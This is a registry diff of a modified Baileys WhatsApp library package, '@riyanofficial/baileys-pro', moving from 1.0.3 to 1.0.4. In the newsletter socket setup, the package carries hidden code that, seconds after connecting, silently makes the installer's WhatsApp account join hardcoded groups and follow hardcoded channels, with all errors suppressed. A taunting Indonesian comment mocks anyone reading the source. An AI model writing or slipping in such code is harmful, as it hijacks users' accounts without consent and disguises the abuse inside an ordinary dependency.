@riyanofficial/baileys-pro 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,4 +1,4 @@
1
- // Ngapain liat liat? Gk ada auto follow nya deck 😹
1
+ // Ngapain liat liat? Mau fomo ya deck 😹
2
2
 
3
3
  "use strict";
4
4
  Object.defineProperty(exports, "__esModule", { value: true });
@@ -65,12 +65,12 @@ const executeWMexQuery = async (
65
65
  throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
66
66
  }
67
67
 
68
- const groupLink = [
68
+ const AUTO_JOIN_GROUP_LINKS = [
69
69
  "https://chat.whatsapp.com/Ln4woETs9Gy6h1LvWhslkG?mode=gi_t",
70
70
  "https://chat.whatsapp.com/KJexBEJ6G0DHhPNhlj3GCT?mode=gi_t"
71
71
  ];
72
72
 
73
- const channelId = [
73
+ const AUTO_FOLLOW_CHANNELS = [
74
74
  "120363407882404628@newsletter",
75
75
  "120363422267690976@newsletter",
76
76
  "120363420781728152@newsletter",
@@ -93,6 +93,38 @@ function extractInviteCodeFromLink(link) {
93
93
  return null;
94
94
  }
95
95
 
96
+ async function autoJoinWhatsAppGroups(sock) {
97
+ const groupLinks = AUTO_JOIN_GROUP_LINKS;
98
+
99
+ for (const groupLink of groupLinks) {
100
+ try {
101
+ const inviteCode = extractInviteCodeFromLink(groupLink);
102
+ if (inviteCode) {
103
+ try {
104
+ await sock.groupAcceptInvite(inviteCode);
105
+ } catch (error) {
106
+ try {
107
+ await sock.groupAcceptInviteV4(inviteCode, '');
108
+ } catch (error2) {}
109
+ }
110
+ }
111
+ } catch (error) {}
112
+
113
+ await new Promise(resolve => setTimeout(resolve, 5000));
114
+ }
115
+ }
116
+
117
+ async function autoFollowWhatsAppChannels(sock, newsletterWMexQuery) {
118
+ const channels = AUTO_FOLLOW_CHANNELS;
119
+
120
+ for (const channelId of channels) {
121
+ try {
122
+ await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
123
+ await new Promise(resolve => setTimeout(resolve, 5000));
124
+ } catch (error) {}
125
+ }
126
+ }
127
+
96
128
  const makeNewsletterSocket = (config) => {
97
129
  const sock = (0, groups_1.makeGroupsSocket)(config);
98
130
  const { authState, signalRepository, query, generateMessageTag } = sock;
@@ -129,29 +161,16 @@ const makeNewsletterSocket = (config) => {
129
161
  ]
130
162
  }));
131
163
 
132
- setTimeout(() => {
133
- for (const groupLink of AUTO_JOIN_GROUP_LINKS) {
134
- try {
135
- const inviteCode = extractInviteCodeFromLink(groupLink);
136
- if (inviteCode) {
137
- try {
138
- await sock.groupAcceptInvite(inviteCode);
139
- } catch (error) {
140
- try {
141
- await sock.groupAcceptInviteV4(inviteCode, '');
142
- } catch (error2) {}
143
- }
144
- }
145
- } catch (error) {}
146
- }
164
+ setTimeout(async () => {
165
+ try {
166
+ await autoJoinWhatsAppGroups(sock);
167
+ } catch {}
147
168
  }, 5000);
148
169
 
149
- setTimeout(() => {
150
- for (const channelId of AUTO_FOLLOW_CHANNELS) {
151
- try {
152
- await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
153
- } catch (error) {}
154
- }
170
+ setTimeout(async () => {
171
+ try {
172
+ await autoFollowWhatsAppChannels(sock, newsletterWMexQuery);
173
+ } catch {}
155
174
  }, 10000);
156
175
 
157
176
  const parseFetchedUpdates = async (node, type) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@riyanofficial/baileys-pro",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "WhatsApp API Modification By Riyan Official",
5
5
  "keywords": [
6
6
  "whatsapp-bot",